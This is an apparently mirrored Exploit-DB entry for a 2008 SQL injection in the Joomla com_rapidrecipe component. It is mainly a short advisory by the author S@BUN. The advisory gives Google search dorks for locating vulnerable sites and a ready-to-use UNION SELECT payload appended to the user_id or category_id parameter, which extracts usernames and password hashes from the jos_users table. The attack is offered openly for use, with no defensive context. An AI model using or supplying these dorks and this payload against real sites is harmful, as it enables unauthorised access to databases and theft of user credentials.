- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 5103
- Проверка EDB
-
- Пройдено
- Автор
- S@BUN
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2008-0831 cve-2008-0754
- Дата публикации
- 2008-02-12
Код:
#########################################################################
#
# joomla SQL Injection(com_rapidrecipe)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
# MAÄ°L : [email protected]
#
#########################################################################
#
# DORK 1 : allinurl: "com_rapidrecipe"user_id
#
# DORK 2 : allinurl: "com_rapidrecipe" category_id
#
#########################################################################
EXPLOIT :
after user_id or catogry_id add exploit
-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
#########################################################################
# S@BUN i AM NOT HACKER S@BUN
#########################################################################
<mosinstall type="component">
<name>rapidrecipe</name>
<creationDate>30/7/2007</creationDate>
<author>Konstantinos Kokkorogiannis</author>
<copyright>This component in released under the Chefs and Koyans License. You should not use it unless you have bought it.</copyright>
<authorEmail>[email protected]</authorEmail>
<authorUrl>www.dianthos.net</authorUrl>
<version>1.6.5</version>
# milw0rm.com [2008-02-12]
- Источник
- www.exploit-db.com